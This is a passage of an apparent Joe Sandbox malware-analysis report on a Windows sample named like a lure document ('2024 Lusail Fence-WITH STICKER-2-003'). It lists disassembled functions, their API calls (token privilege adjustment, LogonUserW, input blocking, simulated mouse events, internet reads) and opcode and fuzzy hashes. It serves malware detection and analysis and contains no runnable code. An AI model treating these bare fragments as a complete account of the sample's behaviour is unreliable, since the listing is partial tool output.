                                                • InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00DF270C
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Internet$AvailableDataFileQueryRead
                                                • String ID:
                                                • API String ID: 599397726-0
                                                • Opcode ID: 1f71a10e825a6549e24b9a071f6bbf0164446e9af246e779c9f4b66edc4eb16d
                                                • Instruction ID: 354a4916f403d9079b307402a26d028f5e4cb2c0590d43a01d84a82961bfb4b1
                                                • Opcode Fuzzy Hash: 1f71a10e825a6549e24b9a071f6bbf0164446e9af246e779c9f4b66edc4eb16d
                                                • Instruction Fuzzy Hash: 7341D47550020DBFEB20DF54DC85EBBB7BCEB40724F15806AFB41E6140EAB19E419675
                                                Function 00DEB59E Relevance: 4.6, APIs: 3, Instructions: 73COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetErrorMode.KERNEL32(00000001), ref: 00DEB5AE
                                                • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00DEB608
                                                • SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 00DEB655
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ErrorMode$DiskFreeSpace
                                                • String ID:
                                                • API String ID: 1682464887-0
                                                • Opcode ID: d52c83220351d1bb194350e0422d9337ce13cfe049a3d3a63a89b9492cf15880
                                                • Instruction ID: 40e6e0f2d28d83cb6cfe9a47ee0465c499123a35022e18e5087ac119d9f2038a
                                                • Opcode Fuzzy Hash: d52c83220351d1bb194350e0422d9337ce13cfe049a3d3a63a89b9492cf15880
                                                • Instruction Fuzzy Hash: 72214435A00518EFCB00EFA5D894EADFBB8FF48310F1480A9E945AB351DB31A955CF61
                                                Function 00DD8CC3 Relevance: 4.6, APIs: 3, Instructions: 67COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00DA0FF6: std::exception::exception.LIBCMT ref: 00DA102C
                                                  • Part of subcall function 00DA0FF6: __CxxThrowException@8.LIBCMT ref: 00DA1041
                                                • LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00DD8D0D
                                                • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00DD8D3A
                                                • GetLastError.KERNEL32 ref: 00DD8D47
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
                                                • String ID:
                                                • API String ID: 1922334811-0
                                                • Opcode ID: 5fed0a314fdfadc2eeeb26be7c5e4d8b7d7affd646df34edac3ce737416cfc89
                                                • Instruction ID: 8375a389c3abbe4fa0562d66e4a14baefc4f770aa7166a701f1b26dd62832af2
                                                • Opcode Fuzzy Hash: 5fed0a314fdfadc2eeeb26be7c5e4d8b7d7affd646df34edac3ce737416cfc89
                                                • Instruction Fuzzy Hash: C9118FB1414209AFE7289F58DC85D6BB7BDEB44710B24852EF45693641EF71BC448A70
                                                Function 00DE4C03 Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00DE4C2C
                                                • CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00DE4C43
                                                • FreeSid.ADVAPI32(?), ref: 00DE4C53
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: AllocateCheckFreeInitializeMembershipToken
                                                • String ID:
                                                • API String ID: 3429775523-0
                                                • Opcode ID: fd1a6eca82697dd7d5a2dd2542348144b2e2846a6351625aae10c685d77c9ed4
                                                • Instruction ID: 78d4532c17fcf4a1dc63d4f3091e1312e8a76cc905ac74f76dbbcb388d45bea9
                                                • Opcode Fuzzy Hash: fd1a6eca82697dd7d5a2dd2542348144b2e2846a6351625aae10c685d77c9ed4
                                                • Instruction Fuzzy Hash: 89F04975A1130DBFDF04DFF1DC89AAEBBBCEF08301F1044A9E901E2581E6756A588B50
                                                Function 00DE8B13 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68COMMON
                                                Download Yara Rule
                                                APIs
                                                • __time64.LIBCMT ref: 00DE8B25
                                                  • Part of subcall function 00DA543A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00DE91F8,00000000,?,?,?,?,00DE93A9,00000000,?), ref: 00DA5443
                                                  • Part of subcall function 00DA543A: __aulldiv.LIBCMT ref: 00DA5463
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Time$FileSystem__aulldiv__time64
                                                • String ID: 0u
                                                • API String ID: 2893107130-1339160046
                                                • Opcode ID: 1b8a222d443dabfc66fbd233e5cd8a442e36a6ba3d2febe6c6c596adca1350c3
                                                • Instruction ID: c59a42c0597f4d804266f660ce4b5010e4656fcbcdef27915e29f206665d7366
                                                • Opcode Fuzzy Hash: 1b8a222d443dabfc66fbd233e5cd8a442e36a6ba3d2febe6c6c596adca1350c3
                                                • Instruction Fuzzy Hash: 4221E4726356108FC329CF26D441A52B3E1EBA5321B288E6CD0E9CF2D0CA74B905DBA4
                                                Function 00D8E060 Relevance: 3.5, APIs: 2, Instructions: 539COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: e7c5d6d23a1e8bd150affe97a180cae995f5c43c93f1cde250ec26e212cadeac
                                                • Instruction ID: 78bbfc69e9652c1612cd753294e13ab0505a03bdc2bcdf659e760526d2d0e093
                                                • Opcode Fuzzy Hash: e7c5d6d23a1e8bd150affe97a180cae995f5c43c93f1cde250ec26e212cadeac
                                                • Instruction Fuzzy Hash: 95228C74A00216DFDB24EF58C484AAEB7B1FF09300F188569E896AB351D774ED85CFA1
                                                Function 00DEC93C Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindFirstFileW.KERNEL32(?,?), ref: 00DEC966
                                                • FindClose.KERNEL32(00000000), ref: 00DEC996
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Find$CloseFileFirst
                                                • String ID:
                                                • API String ID: 2295610775-0
                                                • Opcode ID: 2ca454ac1cf50e596872192b30e394f9d9691a809e0c022bbdd575252ca6206b
                                                • Instruction ID: 6362a933e69ec57e07776e9e34cefde3ff4c9cfbb3eecfd90ef456d3e9cf8bd3
                                                • Opcode Fuzzy Hash: 2ca454ac1cf50e596872192b30e394f9d9691a809e0c022bbdd575252ca6206b
                                                • Instruction Fuzzy Hash: 1B118E326102009FD710EF29C855A2AF7E9EF84324F04851EF8AAD72A1DB30AC05CBA1
                                                Function 00DEA2D5 Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00DF977D,?,00E0FB84,?), ref: 00DEA302
                                                • FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00DF977D,?,00E0FB84,?), ref: 00DEA314
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ErrorFormatLastMessage
                                                • String ID:
                                                • API String ID: 3479602957-0
                                                • Opcode ID: efd4d66114c5c44ba1a2d646b18370ded057149f91a29b678f6921b39372e2b2
                                                • Instruction ID: 9f0b3ba996a67f438e37efd08a6ca7f745f7ee04f3d40ec4ac388decdee1da57
                                                • Opcode Fuzzy Hash: efd4d66114c5c44ba1a2d646b18370ded057149f91a29b678f6921b39372e2b2
                                                • Instruction Fuzzy Hash: 5DF0E23510422DABDB20AFA5CC48FEA736CFF08361F004166F908D2180D630A944CBB1
                                                Function 00DD8713 Relevance: 3.0, APIs: 2, Instructions: 22COMMON
                                                Download Yara Rule
                                                APIs
                                                • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00DD8851), ref: 00DD8728
                                                • CloseHandle.KERNEL32(?,?,00DD8851), ref: 00DD873A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: AdjustCloseHandlePrivilegesToken
                                                • String ID:
                                                • API String ID: 81990902-0
                                                • Opcode ID: 2d207590a0dd890a458f6c4e6141dced9c225db5f1c3e5120ea2ba4ce9d83412
                                                • Instruction ID: 666ee90d3e6322153ada78f337e93931929b353c573c4dc7abb9962d963120e8
                                                • Opcode Fuzzy Hash: 2d207590a0dd890a458f6c4e6141dced9c225db5f1c3e5120ea2ba4ce9d83412
                                                • Instruction Fuzzy Hash: 56E0BF75010610EEE7352B61EC05D7777A9EB04751B258429F46680470DB625CD0DB20
                                                Function 00DAA395 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • SetUnhandledExceptionFilter.KERNEL32(00000000,?,00DA8F97,?,?,?,00000001), ref: 00DAA39A
                                                • UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00DAA3A3
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ExceptionFilterUnhandled
                                                • String ID:
                                                • API String ID: 3192549508-0
                                                • Opcode ID: bc0fb8dde9a5e7f80fff3eadb00b4b72ee8377f77d84ab69f23fa1557b664919
                                                • Instruction ID: f741eb8f8468dcc91212752239689d7a8940dea2e9733200af440c18222824ff
                                                • Opcode Fuzzy Hash: bc0fb8dde9a5e7f80fff3eadb00b4b72ee8377f77d84ab69f23fa1557b664919
                                                • Instruction Fuzzy Hash: 1DB09231058208AFCA102B92EC09B883F68EB45AB2F404020F60D94860CB6754A48A91
                                                Function 00DAF419 Relevance: 2.1, APIs: 1, Instructions: 645COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: b8b31cc27ead25b2bbc1c3420859bbfbf1ad6221cb40fdbebba082219aca56cd
                                                • Instruction ID: 844e91cdce2b3833f45b9b4b59ecae384cb737b156afb4f5747a19a816900ffe
                                                • Opcode Fuzzy Hash: b8b31cc27ead25b2bbc1c3420859bbfbf1ad6221cb40fdbebba082219aca56cd
                                                • Instruction Fuzzy Hash: 0D325472D69F014DD7239A35C872336A299AFB73D4F14D737F81AB5AA6EB28C4834110
                                                Function 00DB267E Relevance: 1.8, APIs: 1, Instructions: 294COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 017b3dadd5a3fe463f246dd73105f26a41a1a02d7c2c9b49c11cf5993387f55a
                                                • Instruction ID: 2715af1363fb268fdae37ce0afc1ebcb02a3f51bf01acd069e7c142f59f05568
                                                • Opcode Fuzzy Hash: 017b3dadd5a3fe463f246dd73105f26a41a1a02d7c2c9b49c11cf5993387f55a
                                                • Instruction Fuzzy Hash: 2DB1E031D2AF414DD2239A3A8831336B68CAFBB2D5F55D72BFC2674D22EB2185874141
                                                Function 00DF41FD Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                • BlockInput.USER32(00000001), ref: 00DF4218
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: BlockInput
                                                • String ID:
                                                • API String ID: 3456056419-0
                                                • Opcode ID: fe029843839e356a701684cdb7d226b460c2f912c73b04e3413a4a3f85fc0e6b
                                                • Instruction ID: 0e914ac25768d2b725b6b17aac6fb6cf7ad188e9b16b5cffc5f2ec73f3c7b1c6
                                                • Opcode Fuzzy Hash: fe029843839e356a701684cdb7d226b460c2f912c73b04e3413a4a3f85fc0e6b
                                                • Instruction Fuzzy Hash: 4CE012312401146FC710AF59D844A6AF7D8EF94760F058025F989D7351DA71E8408BB0
                                                Function 00DE4EC9 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                Download Yara Rule
                                                APIs
                                                • mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00DE4EEC
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: mouse_event
                                                • String ID:
                                                • API String ID: 2434400541-0
                                                • Opcode ID: 990b6a0b4edc891082701e6d72ea1d6fe8bb15e1162486ae76261678a2d1d1ad
                                                • Instruction ID: 5b700ddbdc371fa073b52ccf94feb1034fc25a0fc184327f7fda8df4becdc417
                                                • Opcode Fuzzy Hash: 990b6a0b4edc891082701e6d72ea1d6fe8bb15e1162486ae76261678a2d1d1ad
                                                • Instruction Fuzzy Hash: 66D05E9816078439EC286B239C5FF7B0208F300F81FD8414AB542994C1D8D0AC545030
                                                Function 00DD8C93 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                Download Yara Rule
                                                APIs
                                                • LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00DD88D1), ref: 00DD8CB3
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: LogonUser
                                                • String ID:
                                                • API String ID: 1244722697-0
                                                • Opcode ID: 96a93d5a7da91f56113a4bc6cfb58948bdc8fd92eebdd9d120c4542cd7d0d9d0
                                                • Instruction ID: 29b3f27ab5d9f5703af56198b3eee58a73b2acfbe3b5009880d5f98f5fa79e45
                                                • Opcode Fuzzy Hash: 96a93d5a7da91f56113a4bc6cfb58948bdc8fd92eebdd9d120c4542cd7d0d9d0
                                                • Instruction Fuzzy Hash: 6DD05E3226050EAFEF018EA4DC01EAF3B69EB04B01F408111FE15D50A1C776D835AB60
                                                Function 00DC2230 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetUserNameW.ADVAPI32(?,?), ref: 00DC2242
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: NameUser
                                                • String ID:
                                                • API String ID: 2645101109-0
                                                • Opcode ID: d6a2753695502e29fb477c36c4554d65cd1d4a29c3b3ff08ac90b76963b9fa7f
                                                • Instruction ID: 80cdb28efab532dcd13083d83bfb5d08afd560eda3f3fd9ceb2f4a9f204012f1
                                                • Opcode Fuzzy Hash: d6a2753695502e29fb477c36c4554d65cd1d4a29c3b3ff08ac90b76963b9fa7f
                                                • Instruction Fuzzy Hash: ECC04CF5C00119DBDB15DB90DA88DEE77BCAB05304F204055E141F2101D7749B488E71
                                                Function 00DAA364 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetUnhandledExceptionFilter.KERNEL32(?), ref: 00DAA36A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ExceptionFilterUnhandled
                                                • String ID:
                                                • API String ID: 3192549508-0
                                                • Opcode ID: f85f29cbf90ea9de5783b21d663ba9ae1c0e1121f8c005d3cffcd19905945fb5
                                                • Instruction ID: 5148423939c4e63fcea8c96dc6a8a2ce33f5af1cfaf2d015011c81df992b794b
                                                • Opcode Fuzzy Hash: f85f29cbf90ea9de5783b21d663ba9ae1c0e1121f8c005d3cffcd19905945fb5
                                                • Instruction Fuzzy Hash: AEA0113000820CABCA002B82EC08888BFACEB002A0B008020F80C808228B33A8A08A80
                                                Function 00D98A0E Relevance: .6, Instructions: 608COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
